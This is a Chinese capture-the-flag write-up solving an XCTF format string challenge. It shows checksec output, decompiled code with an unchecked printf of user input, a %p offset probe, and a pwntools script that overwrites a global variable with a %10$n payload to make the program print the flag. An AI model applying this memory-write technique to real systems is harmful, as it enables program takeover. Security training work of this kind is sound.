XCTF 格式化字符串漏洞

2021-11-26  本文已影响0人  doinb1517

题目描述

01.png

题解

file查看文件

02.png
e41a0f684d0e497f87bb309f91737e4d: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=113a10b953bc39c6e182c4ce6e05582ba2f8017a, not stripped

checksec

└─# checksec --file=e41a0f684d0e497f87bb309f91737e4d
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   77) Symbols       No    0               3               e41a0f684d0e497f87bb309f91737e4d

checksec 参考 https://www.jianshu.com/p/755e52d48a77

运行程序

03.png

IDA打开,F5反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _DWORD buf[2]; // [esp+1Eh] [ebp-7Eh] BYREF
  __int16 v5; // [esp+26h] [ebp-76h]
  char s[100]; // [esp+28h] [ebp-74h] BYREF
  unsigned int v7; // [esp+8Ch] [ebp-10h]

  v7 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf[0] = 0;
  buf[1] = 0;
  v5 = 0;
  memset(s, 0, sizeof(s));
  puts("please tell me your name:");
  read(0, buf, 0xAu);
  puts("leave your message please:");
  fgets(s, 100, stdin);
  printf("hello %s", (const char *)buf);
  puts("your message is:");
  printf(s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}

只要pwnme == 8 即可满足条件,这里存在格式化字符串漏洞,格式化字符串

04.png

这里pwnme位于bss段,bss是英文Block Started by Symbol的简称。bss段属于静态内存分配。 而且没有开启PIE(地址随机化)。

一般printf的参数是:格式化字符串 + 参数1 + 参数2 …。如果后面的参数数量对应不上格式化字符串中需要的参数,会自动从栈顶获取对应的参数。这样我们就可以根据输入的字符离栈顶的偏移再次找到它,最后利用%k$n将其解析为地址,然后改变地址上存储的数据,达到内存覆盖。

寻找偏移

┌──(kali㉿kali)-[~]
└─$ ./e41a0f684d0e497f87bb309f91737e4d
please tell me your name:
aaaa
leave your message please:
AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
hello aaaa
your message is:
AAAA0xfff35e5e.0xf7efe580.0xfff35ebc.0xf7f4db00.0x1.0xf7f19410.0x61610001.0xa6161.(nil).0x41414141.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.
Thank you!

地址偏移第十位,写wp。

from pwn import *
io = remote('111.200.241.244',53291)
pwnme_addr = 0x804A068
payload = p32(pwnme_addr) + b'AAAA%10$n';想要覆盖的值为8,所以在四字节的基础上加四个A
io.sendlineafter("please tell me your name:\n","aaaa")
io.sendlineafter("leave your message please:\n",payload)
io.interactive()
上一篇下一篇

猜你喜欢

热点阅读